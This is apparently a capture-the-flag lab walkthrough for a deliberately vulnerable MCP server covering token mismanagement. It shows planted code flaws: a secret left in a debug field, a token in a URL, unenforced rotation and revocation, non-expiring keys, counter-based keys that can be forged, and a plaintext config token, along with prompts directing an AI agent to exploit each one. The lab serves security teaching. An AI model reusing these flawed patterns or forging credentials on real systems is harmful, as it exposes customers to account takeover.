MCP01 - Token Mismanagement & Secret Exposure

In Part 1 we got the basics right. Now let's steal some tokens.

Third World Skeptical Kid meme. Top caption: TOKEN EXPOSURE IS NOT A JOKE, JIM! Bottom caption: MILLIONS OF TOOL RESPONSES SUFFER EVERY YEAR!

Why a token is needed

When an MCP host talks to a remote MCP server, a token is needed for authentication and authorization.

Similarly, when that MCP server talks to an external service, a token is needed for authentication and authorization.

MCP host  --> token 1 -->  MCP server  --> token 2 -->  external service

Where those tokens sit

Token 1 sits inside the host's own config file:

~/.claude.json
.mcp.json
.cursor/mcp.json
.vscode/mcp.json
.codex/config.toml

Token 2 authenticates the MCP server to the external service. It comes from one of:

  • hardcoded values in the server's code
  • the server's own .env file
  • a secrets manager such as HashiCorp Vault or AWS Secrets Manager
  • an OAuth token the server fetched itself

Lab setup

setting up MCP Server

git clone https://github.com/truststrikelabs/damn-vulnerable-mcp-servers.git
cd damn-vulnerable-mcp-servers
pip3 install -r requirements.txt --break-system-packages

Start Web UI and leave it running:

python3 gui/run.py

Open http://127.0.0.1:8410, pick MCP01 from the sidebar, and press Start lab. That serves the lab's API and MCP endpoint on http://127.0.0.1:8400/mcp

claude

claude mcp add -s project --transport http keys_mcp http://127.0.0.1:8400/mcp

codex

codex mcp add keys_mcp --url http://127.0.0.1:8400/mcp

Restart claude/codex chat windows for mcp to load.

setting up MCP inspector

npx @modelcontextprotocol/inspector

Inspector Configuration

Add server
Server ID: keys_mcp
Transport: streamable-http
URL: http://127.0.0.1:8400/mcp

Lab background

TrustStrike Corp runs a security scanning platform. Customers connect their code and TrustStrike scans it for problems.

Who you are

You are keys-auditor, the assistant used by the platform team for credential management.

Tools > my_access
{
  "account": "keys-auditor",
  "role": "Auditor",
  "scope": "cus_4120",
  "scope_name": "Northwind Health",
  "recorded_permissions": ["read key metadata", "read incident reports", "export audit reports"],
  "permissions_enforced": false,
  "note": "Role and scope are recorded on the account and compared with nothing. Nothing in this lab is solved by escalating, so do not bother trying."
}

Why you are here

Six months ago, INC-2291. A customer's API key turned up in a public GitHub repository.

Tools > list_incidents
Resources > incident://keys/INC-2291
{
  "incident_id": "INC-2291",
  "opened_at": "2026-02-01",
  "closed_at": "2026-02-03",
  "status": "closed",
  "summary": "Customer API key found in a public GitHub repository.",
  "customer": "cus_7783",
  "exposed_key_id": "k_inc2291_old",
  "remediation": [
    "Exposed key rotated.",
    "Old value revoked.",
    "Audit confirmed no other key was affected."
  ],
  "signed_off_by": "claire.dawson",
  "exposed_key": {
    "key_id": "k_inc2291_old",
    "value": "tsk_live_77830003",
    "quoted_from": "the public repository, for the record"
  },
  "note": "Every remediation line above was carried out. Verify each one yourself."
}

Three claims, signed off, closed. Today is the routine post-incident review.

Read that last line carefully. Every remediation was carried out. That is true. Whether any of it had an effect is a different question, and it is the one nobody asked.

The rules everything is measured against

Resources > policy://keys/credential-rules
{
  "document": "TrustStrike Corp credential rules",
  "version": "2026.1",
  "rules": [
    "Every key is issued with an expiry date. A key with no expiry is not valid.",
    "A key must be rotated at least every 180 days.",
    "Rotating a key stops the previous value working immediately.",
    "Revoking a key stops it working immediately.",
    "Key values are generated from a cryptographic random source, never a counter.",
    "A key is accepted only if it is found in the key store. Shape is not proof.",
    "A credential is never placed in a URL, a log line, or a debug field."
  ],
  "owner": "keys-platform",
  "review_cycle": "quarterly"
}

Written down, agreed, reviewed quarterly. Nothing enforces a single one of them.


1. The Debug Field

Start with a health check on the pipeline that issues keys.

Vulnerable Code

    if selected["pipeline"] == "pl_key_issue":
        # Added during an incident investigation months ago and never taken out. This is
        # the key that signs new customer credentials, not a per-run build token.
        result["debug"] = {
            "signing_token": lab.flag_for("debug_field"),
            "grants": "signs newly issued customer API keys",
            "scope": "every customer on the platform",
            "rotates": "never, it is pinned in the issuing pipeline",
            "note": "verbose signing output, remove before release",
        }

Somebody added verbose output in production while investigating INC-2291 and never removed it.

Lab Walkthrough

Using MCP Inspector:

Tools > list_pipelines
Tools > run_pipeline_health_check    pipeline = pl_key_issue

Using AI prompt:

ShowHide
Call list_pipelines and find the one that issues keys.
Run a health check on it and show me the complete response.

Response

{
  "pipeline": "pl_key_issue",
  "name": "Key issuing pipeline",
  "status": "passed",
  "checks_run": ["connectivity", "signing", "storage"],
  "duration_ms": 412,
  "debug": {
    "signing_token": "FLAG{debug_field_a1b2c3d4e5}",
    "grants": "signs newly issued customer API keys",
    "scope": "every customer on the platform",
    "rotates": "never, it is pinned in the issuing pipeline",
    "note": "verbose signing output, remove before release"
  }
}

status is what anyone reads. signing_token is the disclosing token.


2. The Token in the URL

Export the credential audit report and check the download URL.

Vulnerable Code

    # The download is authenticated by a token in the query string, so the secret travels
    # in a URL and lands in every access log and proxy between here and the file.
    download_url = (
        f"https://exports.truststrike.test/reports/{report_name}.csv"
        f"?token={lab.flag_for('key_in_url')}"
    )

Lab Walkthrough

Using MCP Inspector:

Tools > export_audit_report

Using AI prompt:

ShowHide
Export the credential audit report and show me the download link.

Response

{
  "report": "credential-audit",
  "rows": 6,
  "format": "csv",
  "contains": "every key id, owner, issue date, expiry, and status on the platform",
  "download_url": "https://exports.truststrike.test/reports/credential-audit.csv?token=FLAG{key_in_url_a1b2c3d4e5}",
  "authenticated_by": "the token in the query string, and nothing else",
  "delivery": "Anyone who has that link is authenticated. No account needed."
}

Whoever gets token sees every key the company issued, who owns it, and which ones never expire.


3. Rotated on Paper

Incident INC-2291 shows the exposed key was rotated. Try to authenticate with it.

Vulnerable Code

    database.supersede(record["key_id"], replacement_id)

    return {
        "status": "rotated",
        ...
        "enforcement": {
            "supersede_marker_written": True,
            "old_value_invalidated": False,
            "note": "The marker is recorded. Nothing reads it at authentication time.",
        },
    }

rotate_key does everything it says: it issues a new key and marks the old one as superseded. But authenticate never looks at that mark, so the old key still works.

Lab Walkthrough

Using MCP Inspector:

Resources > incident://keys/INC-2291
Tools > authenticate    key = tsk_live_77830003

Using AI prompt:

ShowHide
Read incident://keys/INC-2291 and take the exposed key value out of it.
Call authenticate with that value and tell me whether the rotation held.

Response

{
  "key_id": "k_inc2291_old",
  "customer": "cus_7783",
  "accepted": true,
  "checks": {
    "key_exists": true,
    "expiry_checked": false,
    "revocation_checked": false,
    "supersede_checked": false
  },
  "record": {
    "issued_at": "2025-11-02",
    "age_days": <days since issue>,
    "expires_at": "2026-11-02",
    "status": "active",
    "superseded_by": "k_inc2291_new"
  },
  "exposure": [
    {
      "control": "rotation",
      "reason": "Superseded by k_inc2291_new and still accepted.",
      "impact": "The value replaced during the incident still authenticates as cus_7783. Anyone who saw it when it leaked has a working key.",
      "audit_reference": "FLAG{stale_rotation_a1b2c3d4e5}"
    }
  ]
}

4. The Key That Never Dies

Find the key which has expiry date null. Try to authenticate with it.

Vulnerable Code

    # The only question this asks is whether the key exists. Expiry, revocation, and the
    # supersede marker are all read from the record below and none of them change the answer.
    result = {
        "checks": {
            "key_exists": True,
            "expiry_checked": False,
            ...
        },
        "record": {
            "expires_at": record["expires_at"],
            ...
        },
    }

Credential issued in 2023 with expires_at left null, we can still reuse it for authenticate.

Lab Walkthrough

Using MCP Inspector:

Tools > list_keys
Tools > authenticate    key = k_legacy_2023

Using AI prompt:

ShowHide
Call list_keys. Compare every key against policy://keys/credential-rules
and tell me which ones break a rule.
Then authenticate with the worst offender.

Response

list_keys does the finding for you:

{
  "count": 6,
  "without_expiry": ["k_legacy_2023", "k_backend_shared"],
  "superseded": ["k_inc2291_old"]
}

Then the key itself:

{
  "key_id": "k_legacy_2023",
  "customer": "cus_9051",
  "accepted": true,
  "checks": {
    "key_exists": true,
    "expiry_checked": false,
    "revocation_checked": false,
    "supersede_checked": false
  },
  "record": {
    "issued_at": "2023-02-14",
    "age_days": <days since issue>,
    "expires_at": null,
    "status": "active",
    "superseded_by": null
  },
  "exposure": [
    {
      "control": "expiry",
      "reason": "Issued <n> days ago with no expiry date.",
      "impact": "This credential has authenticated as cus_9051 for 1265 days and there is no date on which it ever stops.",
      "audit_reference": "FLAG{no_expiry_a1b2c3d4e5}"
    }
  ]
}

5. Revoke Does Nothing

we have 2 defaulter keys/broken keys, first try to revoke it and then try to authenticate with it.

Vulnerable Code

    database.set_status(record["key_id"], "revoked")
    return {
        "status": "revoked",
        ...
        "enforcement": {
            "status_written": True,
            "enforced_at_authentication": False,
            "note": "Confirm with authenticate.",
        },
    }

Lab Walkthrough

Using MCP Inspector:

Tools > revoke_key      key_id = k_web_active
Tools > authenticate    key = k_web_active

Using AI prompt:

ShowHide
Revoke k_web_active, then immediately authenticate with it
and tell me whether the revocation took effect.

Response

The revocation looks completely normal:

{
  "status": "revoked",
  "key_id": "k_web_active",
  "customer": "cus_4120",
  "revoked_at": "<today>",
  "enforcement": {
    "status_written": true,
    "enforced_at_authentication": false,
    "note": "Confirm with authenticate."
  }
}

Then, seconds later:

{
  "key_id": "k_web_active",
  "customer": "cus_4120",
  "accepted": true,
  "checks": {
    "key_exists": true,
    "expiry_checked": false,
    "revocation_checked": false,
    "supersede_checked": false
  },
  "record": {
    "issued_at": "2026-05-10",
    "age_days": <days since issue>,
    "expires_at": "2026-11-10",
    "status": "revoked",
    "superseded_by": null
  },
  "exposure": [
    {
      "control": "revocation",
      "reason": "Marked revoked and still accepted.",
      "impact": "Revocation is the control an incident response depends on. Every key anyone believes they switched off is still live.",
      "audit_reference": "FLAG{fake_revocation_a1b2c3d4e5}"
    }
  ]
}

6. The Key You Made Yourself

The bug is that the server accepts a key that was never issued.

Vulnerable Code

    record = database.find_key(key)
    if record is None:
        # Not in the store. Rather than refusing, fall back to checking that the value is
        # shaped like one of ours. Since values are a customer code plus a counter, anyone
        # who has seen one key can write a value this branch will accept.
        if database.looks_like_a_key(key):
            return {"accepted": True, ...}
# Eight characters: a customer code then a sequence number. Hex is accepted so the
# shared backend key's ffff code matches; issued values are always decimal.
KEY_PATTERN = re.compile(r"^tsk_live_[0-9a-f]{8}$")

...

def mint_value(customer: str) -> str:
    """Issue the next key value. The scheme is a counter, which is the whole problem."""
    return f"{KEY_PREFIX}{customer_code(customer)}{next_sequence():04d}"

Key values are a customer code followed by a counter, and an unknown value is accepted if it merely matches the pattern.

Lab Walkthrough

The pattern is visible from list_keys if you read the masked values in issue order:

k_legacy_2023      cus_9051   tsk_live...0001
k_backend_shared   *          tsk_live...0002
k_inc2291_old      cus_7783   tsk_live...0003
k_inc2291_new      cus_7783   tsk_live...0004
k_web_active       cus_4120   tsk_live...0005
k_api_active       cus_4120   tsk_live...0006

This means the key is not random. It is built from two predictable parts:
From the incident report INC-2291, Exposed key is tsk_live_77830003

lets break it down:
tsk_live : Prefix
7783 : customer code
0003 : Random issue counter

so the key format is like

tsk_live_<customer_code><counter>

That means we can create any key which is never issued.

Example, lets create key in above format
tsk_live_90510009

This is not issued to any customer, but it will still work.

Using MCP Inspector:

Tools > list_keys
Tools > rotate_key      key_id = k_api_active
Tools > authenticate    key = tsk_live_77830042

Using AI prompt:

ShowHide
Call list_keys and read the masked values in issue order.
Take the full key value out of incident://keys/INC-2291 and line it up
against list_customers. Work out how a key value is constructed, then
authenticate with a value that appears nowhere in list_keys.

If you would rather see it confirmed, rotate_key mints the next one and shows it in full, the way a key issuer shows you a value exactly once:

{
  "status": "rotated",
  "previous_key": "k_api_active",
  "replacement_key": "k_rot_8f0d5b",
  "replacement_value": "tsk_live_41200007",
  "enforcement": {
    "supersede_marker_written": true,
    "old_value_invalidated": false,
    "note": "The marker is recorded. Nothing reads it at authentication time."
  }
}

Customer 4120, counter 0007. Either way, now write one down that nobody issued.

Response

{
  "key_id": null,
  "customer": "7783",
  "accepted": true,
  "checks": {
    "key_exists": false,
    "format_matched": true,
    "expiry_checked": false,
    "revocation_checked": false,
    "supersede_checked": false
  },
  "exposure": [
    {
      "control": "key issuance",
      "reason": "This value was never issued. It was accepted because it matches the shape of a Keys credential, and the shape is a customer code followed by a counter.",
      "impact": "Anyone who has seen one key can write a working credential for any customer. The key store is not the boundary it looks like.",
      "audit_reference": "FLAG{forged_key_a1b2c3d4e5}"
    }
  ]
}

Server is checking whether the key is in valid format or not, if format is valid, it will allow you to authenticate even if key is never issued for any users.


7. The Token in the Config File

Open mcp01-token-mismanagement/.mcp.json and read what is in env.

Vulnerable Code

{
  "mcpServers": {
    "keys_mcp": {
      "type": "http",
      "url": "http://127.0.0.1:8400/mcp",
      "env": {
        "KEYS_MCP_TOKEN": "FLAG{19db42e0ecd3e5a9}",
        "KEYS_MCP_TOKEN_NOTE": "temporary, remove before commit"
      }
    }
  }
}

Somebody put the token straight into env while getting the integration working, because that is the field the host reads and it was the fastest way to make it go.

Lab Walkthrough

Using MCP Inspector:

Tools > read_mcp_config

Using AI prompt:

ShowHide
Review the MCP host config for this lab and show me anything sensitive in it.

Response

{
  "path": ".mcp.json",
  "tracked_by_git": true,
  "servers": ["keys_mcp"],
  "config": {
    "mcpServers": {
      "keys_mcp": {
        "type": "http",
        "url": "http://127.0.0.1:8400/mcp",
        "env": {
          "KEYS_MCP_TOKEN": "FLAG{19db42e0ecd3e5a9}",
          "KEYS_MCP_TOKEN_NOTE": "temporary, remove before commit"
        }
      }
    }
  },
  "note": "Read as filed. Every value in env is stored in plaintext, and this file is committed with the rest of the repository."
}

Reference

MCP01 Token Mismanagement Secret Exposure